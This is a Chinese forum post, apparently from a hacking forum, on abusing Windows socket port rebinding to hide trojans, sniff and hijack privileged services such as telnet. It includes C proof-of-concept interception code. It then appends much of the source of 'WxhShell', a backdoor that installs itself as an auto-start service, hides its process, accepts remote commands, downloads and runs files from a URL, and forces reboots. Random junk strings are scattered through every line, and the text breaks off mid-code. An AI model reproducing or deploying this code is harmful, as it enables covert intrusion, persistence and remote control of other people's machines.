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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R#`hT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); he8y  
Ms=x~o'  
  saddr.sin_family = AF_INET; $L)9'X   
]$Ky ZHj{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D\ HmY_  
320Wm)u>:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ':R)i.TS  
UaiDo"i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qtnLQl"M  
QK&<im-  
  这意味着什么?意味着可以进行如下的攻击: 7C9qkQ Jqn  
'=G4R{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D@rOX(m  
eY"y[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *Tl"~)'t~  
-d[9mS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6{8qATLR  
q*{i/=~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vE;`y46&r  
H|tbwU)J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z `T<g!Y  
dz5a! e [  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'M=(5p  
w[I%Id;E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8|.( Y  
HB\<nK  
  #include (^ZC8)0i(  
  #include aAh")B2  
  #include B#&U5fSw+0  
  #include    Dp8YzWL2^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   57Y(_h:  
  int main() sl}bNzT#  
  { Gn<s >3E  
  WORD wVersionRequested; yd]W',c  
  DWORD ret; _*0!6?c  
  WSADATA wsaData; mhH[jO)  
  BOOL val; F2:+i#lE  
  SOCKADDR_IN saddr; ;El"dqH   
  SOCKADDR_IN scaddr; )a .w4dH  
  int err; ;26a8g(  
  SOCKET s;  e-sMU  
  SOCKET sc; _ M8Q%  
  int caddsize; -_[n2\|we)  
  HANDLE mt; dB ?+-aE  
  DWORD tid;   E}-Y@( [  
  wVersionRequested = MAKEWORD( 2, 2 ); Wo&MHMP  
  err = WSAStartup( wVersionRequested, &wsaData ); J_ ?;On5  
  if ( err != 0 ) { 12gcma}  
  printf("error!WSAStartup failed!\n"); PPU,o8E+  
  return -1; ^Jcs0c @\  
  } y&-wb'==p  
  saddr.sin_family = AF_INET; n,hHh=.Fu  
   { xi$'r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 t/yGMR=  
1Cki}$k@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]sE~gro  
  saddr.sin_port = htons(23); (NyS2 `  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) / *Z( ;-  
  { T3u%V_  
  printf("error!socket failed!\n"); cF_ Y}C  
  return -1; (5]<t&M  
  } F8$.K*tT  
  val = TRUE; B_i@D?bTD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |lm   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  poGF  
  { 3kx/Q#  
  printf("error!setsockopt failed!\n"); i=OPl  
  return -1; /Z';# G,z  
  } wQgW9546  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j#$ R.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vQ2kL`@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AYeA)jk  
rY4{,4V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &s->,-,  
  { Pni  
  ret=GetLastError(); t%Vc1H2}  
  printf("error!bind failed!\n"); U2\g Kg[-Q  
  return -1; ;Xk-hhR  
  } b? jRA^  
  listen(s,2); _Isju S  
  while(1) SL zL/5s  
  { @Iia>G @Rz  
  caddsize = sizeof(scaddr); ~cbq5||  
  //接受连接请求 }OZ%U2PU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U+CZv1  
  if(sc!=INVALID_SOCKET) 6QkdH7Qf=  
  { v: cO+dQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A6v02WG_1T  
  if(mt==NULL) (zIP@ H  
  { UX}ZE.cV  
  printf("Thread Creat Failed!\n"); vz #VW  
  break; `of 5h* k  
  } *kY\,r&!P  
  } AP' Uc A  
  CloseHandle(mt); ~McmlJzJG  
  } L}UJ`U  
  closesocket(s); mRZC98$ @r  
  WSACleanup(); Y*/:IYr`  
  return 0; 3?iRf6;n  
  }   E;.<'t>  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~KHGh29  
  { ,#hS#?t   
  SOCKET ss = (SOCKET)lpParam; /) sA{q 4  
  SOCKET sc; mnZ/rb  
  unsigned char buf[4096]; ~B;kFdcVXn  
  SOCKADDR_IN saddr; rCR?]1*Z  
  long num; (Gr8JpV  
  DWORD val; _eb:"(m  
  DWORD ret; q4'szDYO2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hNgbHzW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /6jt 5N&,  
  saddr.sin_family = AF_INET; S 1sNVW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6Qne rd%Ec  
  saddr.sin_port = htons(23); ukHSHsR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qgg/_H:;w  
  { nd*9vxM  
  printf("error!socket failed!\n"); 92!1I$zi  
  return -1; Wjc1EW!2x  
  } 6SI`c+'@5  
  val = 100; {XH!`\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) va F^[/ (g  
  { = Ryh@X&  
  ret = GetLastError(); JwG$lGNJ  
  return -1; S&_Z,mT./  
  } M }=X/*T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) " 2A`M~  
  { 1DVu`<OXcH  
  ret = GetLastError(); xS?[v&"2  
  return -1; ^ZV1Ev8T6  
  } RAYDl=}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f1w&D ]|S+  
  { iU"jV*P]  
  printf("error!socket connect failed!\n"); d2`m0U  
  closesocket(sc); J}U);A  
  closesocket(ss); ;#$ 67G$  
  return -1; WP[h@#7<  
  } 4>eY/~odq]  
  while(1) 1Z%^U ?  
  { B64L>7\>`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -x)Oo`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x O?w8*d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2z+Vt_%  
  num = recv(ss,buf,4096,0); p vone,y2  
  if(num>0) kx&Xk0F_g  
  send(sc,buf,num,0); IaMZPl  
  else if(num==0) XgL-t~_  
  break; pxP,cS  
  num = recv(sc,buf,4096,0); ]D_"tQ?i  
  if(num>0) bC*( ,n<'  
  send(ss,buf,num,0); 6-#<*Pg  
  else if(num==0) (3a]#`Q  
  break; OXcQMVa 6  
  } k+#6  
  closesocket(ss); ;D.a |(Q  
  closesocket(sc); x}v]JEIf[Q  
  return 0 ;  gP%S{<.?  
  } lZ]x #v  
tQ0iie1Ys  
q2 K@i*s  
========================================================== dd1CuOd6(1  
eGcc'LBr;  
下边附上一个代码,,WXhSHELL F]o&m::/K  
K8`Jl=}z%&  
========================================================== [ u7p:?WDW  
!SRElb A;i  
#include "stdafx.h" 6[ }~m\cY  
r9nH6 Md\  
#include <stdio.h> ,dn6z#pb+  
#include <string.h> !qGER.  
#include <windows.h> 4@ EY+p  
#include <winsock2.h> s zBlyT  
#include <winsvc.h> D>Ij  
#include <urlmon.h> d&[Ct0!++u  
n^vL9n_N  
#pragma comment (lib, "Ws2_32.lib") S:!gj2q9|  
#pragma comment (lib, "urlmon.lib") N zrHWVD  
LpRl!\FY$  
#define MAX_USER   100 // 最大客户端连接数 B-'oB>|  
#define BUF_SOCK   200 // sock buffer (=#[om( A  
#define KEY_BUFF   255 // 输入 buffer u\-WArntc  
ueI1O/Mi  
#define REBOOT     0   // 重启 Su" 9`  
#define SHUTDOWN   1   // 关机 Nl"Xl?y}  
R\DdU-k  
#define DEF_PORT   5000 // 监听端口 J)(KGdk  
t6-He~  
#define REG_LEN     16   // 注册表键长度 fKEZlrw  
#define SVC_LEN     80   // NT服务名长度 Cg{V"B:  
9vIqGz-o  
// 从dll定义API }/)vOUcEd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2stBW5v3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }E[u" @}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;QYUiR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0_nY70B  
Pn?Ujjv  
// wxhshell配置信息 *B<Ig^c  
struct WSCFG { Kf=6l#J7  
  int ws_port;         // 监听端口 ^n! j"  
  char ws_passstr[REG_LEN]; // 口令 R`M>w MLH  
  int ws_autoins;       // 安装标记, 1=yes 0=no bEO\oS  
  char ws_regname[REG_LEN]; // 注册表键名 B$ty`/{w,B  
  char ws_svcname[REG_LEN]; // 服务名 i/Zv@GF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vbFi# |EU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,Sz`$'^c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x<&2`=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Std?p{ i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }5_[t9LX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t2bv nh  
}~B@Z\`O  
}; h?t#ABsVK  
)y~FeKh  
// default Wxhshell configuration ]0[Gc \h}  
struct WSCFG wscfg={DEF_PORT, V2Iq k]V%y  
    "xuhuanlingzhe", FKYPkFB  
    1, +Cs[]~  
    "Wxhshell", KMs[/|HX\  
    "Wxhshell", #kGgz O  
            "WxhShell Service", #eRrVjbo  
    "Wrsky Windows CmdShell Service", |l\!  
    "Please Input Your Password: ", WG~|sLg  
  1, V$ 8go#5  
  "http://www.wrsky.com/wxhshell.exe", P:lmQHls+  
  "Wxhshell.exe" &Tc:WD  
    }; _xKuEU}  
=7^rKrD  
// 消息定义模块 4o/}KUu(*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g5",jTn#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z<_"Tk;!',  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,K/l;M5I  
char *msg_ws_ext="\n\rExit."; 8x)&4o@  
char *msg_ws_end="\n\rQuit."; $] ])FM"b  
char *msg_ws_boot="\n\rReboot..."; " a&|{bv  
char *msg_ws_poff="\n\rShutdown..."; ]81t~t9LQ  
char *msg_ws_down="\n\rSave to "; 4lM)ZDg  
F!k3/z  
char *msg_ws_err="\n\rErr!"; qS8p)pw  
char *msg_ws_ok="\n\rOK!"; c:*[HO\  
[ADSGnw  
char ExeFile[MAX_PATH]; 9_=0:GH k  
int nUser = 0; k4n 4 BL  
HANDLE handles[MAX_USER]; CBkI! In2  
int OsIsNt; p :v'"A}  
9+irf^D`O  
SERVICE_STATUS       serviceStatus; OBnf5*eJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !xE /  
_cRCG1CJ  
// 函数声明 st_.~m!/  
int Install(void); =D>,s)}o3;  
int Uninstall(void); QD8.C=2R  
int DownloadFile(char *sURL, SOCKET wsh); -RLY.@'d-M  
int Boot(int flag); %w$\v"^_Y  
void HideProc(void); Etj0k} A  
int GetOsVer(void); j ."L=  
int Wxhshell(SOCKET wsl); Ee~<PDzB  
void TalkWithClient(void *cs); biLNR"/E  
int CmdShell(SOCKET sock); +6zW(Ql/  
int StartFromService(void); k?bIu  
int StartWxhshell(LPSTR lpCmdLine); 6%-RKQi  
c*m7'\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h0cdRi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LL0Y$pHV  
(^{tu89ab  
// 数据结构和表定义 '3i,^g0?t0  
SERVICE_TABLE_ENTRY DispatchTable[] = ]2_b_ok  
{ ^y,Ex;6o  
{wscfg.ws_svcname, NTServiceMain}, Za110oF  
{NULL, NULL} X[SdDYMY  
}; >P<8E2}*  
04j]W]8#  
// 自我安装  =8o$  
int Install(void) '9ki~jtf=  
{ 2@Nt6r  
  char svExeFile[MAX_PATH]; 3 P=I)q  
  HKEY key; )X2 /_3  
  strcpy(svExeFile,ExeFile); jW8,}Xs  
,J$XVvwxF  
// 如果是win9x系统,修改注册表设为自启动 **G5fS.^W  
if(!OsIsNt) { > eC>sTPQ{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sBq-"YcjR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '5)PYjMnH  
  RegCloseKey(key); m{w'&\T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BNw};.lO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 69"4/n7B?  
  RegCloseKey(key); u\y$<  
  return 0; _'*Vcu`Y  
    } t?aOZps  
  } s+-V^{Ht  
} {i^F4A@=Z  
else { {V^|9j:\K  
G`e!WvC  
// 如果是NT以上系统,安装为系统服务 mXPA1#qo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \[J\I  
if (schSCManager!=0) cr`NHl/XF  
{ Nd h  
  SC_HANDLE schService = CreateService 6/3oW}O o  
  ( kf:Nub+h t  
  schSCManager, si,)!%b  
  wscfg.ws_svcname, }> ]`#s  
  wscfg.ws_svcdisp, 0'g e}2^  
  SERVICE_ALL_ACCESS, $~,J8?)(z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2CF5qn}T  
  SERVICE_AUTO_START, FokSg[)5  
  SERVICE_ERROR_NORMAL, (&KBYiwr  
  svExeFile, 3sK^ (  
  NULL, dFl8'D  
  NULL, 'lMDlTU O  
  NULL, P!yOA_)as  
  NULL, R*`=Bk0+  
  NULL Yh["IhjR  
  ); jX; $g>P  
  if (schService!=0) nZX`y -AZ  
  { 96d&vm~m1  
  CloseServiceHandle(schService); ZVyJ%"(E  
  CloseServiceHandle(schSCManager); s/0bXM$^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pV(qan,  
  strcat(svExeFile,wscfg.ws_svcname); ,@]*Xgt=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rU |%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3^,p$D<T:,  
  RegCloseKey(key); 0aqq*e'c  
  return 0; U1)!X@F{  
    } =&"a:l  
  } |4j'KM;U  
  CloseServiceHandle(schSCManager); bIXD(5y  
} aT~=<rEDy  
} iOB*K)U1  
$Xr4=9(|7  
return 1; { V$}qa{P  
} .Q!pQ"5  
*AG01# ZF  
// 自我卸载 J(Fk@{!F.*  
int Uninstall(void) FvXpqlp  
{ hEA;5-m  
  HKEY key; {rzvZ0-j}  
`$Y%c1;  
if(!OsIsNt) { <64#J9T^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pM-mZ/?  
  RegDeleteValue(key,wscfg.ws_regname); 8wLGmv^  
  RegCloseKey(key); hiEosI C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5p>rQq0  
  RegDeleteValue(key,wscfg.ws_regname); ;--p/h*.  
  RegCloseKey(key); *pYawT  
  return 0; 0O?\0k;o  
  } yS.)l  
} C'6c,  
} `Ip``I#A  
else { 20w4 '@sq  
zmhAeblA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w$0*5n>)  
if (schSCManager!=0) [ e#[j{  
{ 6t{G{ ]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `4,]Mr1b  
  if (schService!=0) zgl$ n  
  { s_P[lbHt.  
  if(DeleteService(schService)!=0) { ;o?o92d  
  CloseServiceHandle(schService); ui80}%  
  CloseServiceHandle(schSCManager); p{x6BVw?>  
  return 0; Gce[RB:  
  } -XfGF<}r  
  CloseServiceHandle(schService); iSNbbu#  
  } MM*9Q`cB  
  CloseServiceHandle(schSCManager); v.53fx  
} ? CU;  
} i(4.7{*  
gNC'kCx0c  
return 1; z+c'-!e/  
} n5Mhp:zc,  
EX@Cf!GjN  
// 从指定url下载文件 |fY#2\)Yx  
int DownloadFile(char *sURL, SOCKET wsh) #V.u[:mO  
{ XEUS)X)  
  HRESULT hr; qga\icQr  
char seps[]= "/"; L>pSE'}  
char *token; ~i0>[S3 '  
char *file; O&Y22mu  
char myURL[MAX_PATH]; b_)SMAsO7  
char myFILE[MAX_PATH]; #n+sbx5~7  
]/|DCxQ  
strcpy(myURL,sURL); b?/Su<q  
  token=strtok(myURL,seps); \[ W`hhJ  
  while(token!=NULL) 1 J[z ![Tf  
  { @9lGU#  
    file=token; ~FVbL-2  
  token=strtok(NULL,seps); L+G i  
  } uT Y G/O  
A:\_ \B%<  
GetCurrentDirectory(MAX_PATH,myFILE); e 8^%}\F  
strcat(myFILE, "\\"); H'I5LYsXO~  
strcat(myFILE, file); hVdGxT]6  
  send(wsh,myFILE,strlen(myFILE),0); ?lm<)y?I7+  
send(wsh,"...",3,0);  CVZ 4:p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7 6HB@'xY  
  if(hr==S_OK) !iAZEOkRR  
return 0; <9x|)2P  
else fVYv 2  
return 1; O O-Obg^  
ppu<k N  
} I*KJq?R  
OqX+ R4S  
// 系统电源模块 g` ,(O  
int Boot(int flag) D=)qd@,K  
{ ie/QSte  
  HANDLE hToken; '.e 5Ku  
  TOKEN_PRIVILEGES tkp; {JM3drnw  
`F~Fb S  
  if(OsIsNt) { <)+;Bg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (kx>\FIK*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f5R%F ~  
    tkp.PrivilegeCount = 1; &VxK AQMxN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; crJNTEz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )5TX3#=;(G  
if(flag==REBOOT) { (A;HB@)[A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mG%cE(j*D  
  return 0; 1(kd3 qX  
} ?[ D6|gp  
else { R=W$3Ue~,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7N0m7SC  
  return 0; #Z]<E6<=9  
} vIFx'S~D  
  } 3ep L'My$  
  else { z]sQ3"cmX  
if(flag==REBOOT) { QzYaxNGv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JV! }"[  
  return 0; U}{\qs-zt  
} !zxq9IhWR  
else { R~bLEo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tOPk x(  
  return 0; d%Ku 'Jy  
} :$QwOz^N*  
} U27ja|W^  
L~_zR>  
return 1; ~5Rh7   
} 'v@1_HHW\  
;e~K<vMm;y  
// win9x进程隐藏模块 o#IWH;ck.  
void HideProc(void) vw` '9~  
{ FFH {#|_1  
94XRf"^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ) |hHbD^V  
  if ( hKernel != NULL ) 4;w# mzd  
  { _xdttO^N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;~s@_}&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 73M;-qnU  
    FreeLibrary(hKernel); EKT"pL-EY  
  } Q1 vse  
m>b i$Y  
return; T f^O(  
} .gI9jRdKw  
4W+nS v  
// 获取操作系统版本 gwYTOs ^  
int GetOsVer(void) g: "Hg-s  
{ /zV0kW>N  
  OSVERSIONINFO winfo; *tT5Zt/&Sr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); St1>J.k_  
  GetVersionEx(&winfo); c{f1_qXN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &l~=c2  
  return 1; =`%%*  
  else 3*b!]^d:D  
  return 0; &S# bLE  
} ~ K|o@LK  
%P]-wBJw  
// 客户端句柄模块 QLTE`t5w3'  
int Wxhshell(SOCKET wsl) g? \pH:|79  
{ NO)vk+   
  SOCKET wsh; fGLOXbsA  
  struct sockaddr_in client; .{ ]=v  
  DWORD myID; [g*]u3s  
F~O! J@4]  
  while(nUser<MAX_USER) bRAf!<3  
{ NPR{g!tK%  
  int nSize=sizeof(client); ?Qs>L~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YCQ+9  
  if(wsh==INVALID_SOCKET) return 1; [ \Aor[(  
Z8Clm:S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gClDVO  
if(handles[nUser]==0) 3!B3C(g  
  closesocket(wsh); HjN )~<j  
else 6_a.`ehtj<  
  nUser++; 5(OF~mX#  
  } ~ .Eln+N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |m7`:~ow  
:hxZ2O?5_  
  return 0; @)8C  
} h-h}NCP  
Jh:-<xy)  
// 关闭 socket 3'2}F%!Mv  
void CloseIt(SOCKET wsh) oAp I/o  
{ l@YpgyqaL  
closesocket(wsh); #$%gs]  
nUser--; 9/|i. 2&  
ExitThread(0); #Ryu`b  
} k07) g:_  
VbX$i!>8  
// 客户端请求句柄 }fs;yPl,  
void TalkWithClient(void *cs) )+9D$m=P;  
{ Lp*T=]C]  
Cj):g,[a  
  SOCKET wsh=(SOCKET)cs; o [ %Q&u  
  char pwd[SVC_LEN]; ss 3fq}  
  char cmd[KEY_BUFF]; am05>c9  
char chr[1]; `\P:rn95;  
int i,j; Y<.F/iaH  
D2Go,1  
  while (nUser < MAX_USER) { p:ST$ 1 K  
P-`^I`r  
if(wscfg.ws_passstr) { osX23T~-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YKvFZH)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I_ .;nU1xA  
  //ZeroMemory(pwd,KEY_BUFF); A1f]HT  
      i=0; +CNRSq"  
  while(i<SVC_LEN) { I.e'  
a^5`fA/L,  
  // 设置超时 E(U}$Zey  
  fd_set FdRead; ddHIP`wb  
  struct timeval TimeOut; qkUr5^1  
  FD_ZERO(&FdRead); @+X}O /74  
  FD_SET(wsh,&FdRead); 2i(|?XJ^  
  TimeOut.tv_sec=8; qc'tK6=jp  
  TimeOut.tv_usec=0; v981nJ>w,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7RD` *s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PvT8XSlTx!  
D&9j$#9Rh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Ucyxpu~$  
  pwd=chr[0]; ::T<de7  
  if(chr[0]==0xd || chr[0]==0xa) { 6eK^T=  
  pwd=0; e#HP+b$  
  break; [Iihk5TT  
  } 3Yj}ra}  
  i++; |PJW2PN  
    } D#t5*bwK  
^Q:K$!  
  // 如果是非法用户,关闭 socket nLfnikw&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *E)Y?9u"  
} F<(x z=  
.DvAX(2v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LMG\jc?,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M<~F>(wxA  
>6DY3\  
while(1) { Z|?XQ-R5  
\+AH>I;vO  
  ZeroMemory(cmd,KEY_BUFF); 5PL,~Y  
n ~3c<{coZ  
      // 自动支持客户端 telnet标准   t+(CAP|,  
  j=0; I3 x}F$^  
  while(j<KEY_BUFF) { %<muVRkB\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ( L6`_)  
  cmd[j]=chr[0]; #*]= %-A  
  if(chr[0]==0xa || chr[0]==0xd) { `A^} X  
  cmd[j]=0; -<O:isB   
  break; zuPH3Q={  
  } KnFbRhu[  
  j++; #EM'=Q%TO  
    } #129 i2  
v/haUPWF\  
  // 下载文件 |B`tRq  
  if(strstr(cmd,"http://")) { ?GC0dN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jw[`_  
  if(DownloadFile(cmd,wsh)) O46/[{p+8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Elq8WtS  
  else 4QVd{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M1M]]fT0ME  
  } -)I_+N  
  else { ,/ : )FV  
zXCIn  
    switch(cmd[0]) { tj&A@\/  
  =% JDo  
  // 帮助 )yK!qu  
  case '?': { I^|bQ3sor  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 09?<K)_G  
    break; ?hu 9c  
  } O&s6blD11  
  // 安装 X>6a@$MxP  
  case 'i': { _# F'rl6'  
    if(Install()) uR%H"f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <FK><aA_i*  
    else W%W. +f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  e.GzGX  
    break; D?'y)](  
    } h5gXYmk  
  // 卸载 ]O\W<'+V  
  case 'r': { 4dK@UN\  
    if(Uninstall()) K]oPh:E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?f`-&c;  
    else F1=+<]!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v8IL[g6"  
    break; Z9D4;1  
    } vSA%A47G  
  // 显示 wxhshell 所在路径 8#Z5-",iw  
  case 'p': { HKkf+)%)x  
    char svExeFile[MAX_PATH]; VfwD{+ 5  
    strcpy(svExeFile,"\n\r"); V"ZbKV +[  
      strcat(svExeFile,ExeFile); Uk2q,2  
        send(wsh,svExeFile,strlen(svExeFile),0); %E\%nTV  
    break; XL3h ; $,  
    } z&0V21"l  
  // 重启 f.$o|R=v  
  case 'b': { z)~!G~J]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +;Gl>$  
    if(Boot(REBOOT)) ~e+w@ lK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q=8 cBRe  
    else { u3:Qt2^S  
    closesocket(wsh); iFA"m;$  
    ExitThread(0); *La =7y:  
    } S8RB0^Q7  
    break; &3f.78a  
    } jQ)>XOok  
  // 关机 5!zvoX9  
  case 'd': { ;" *`  
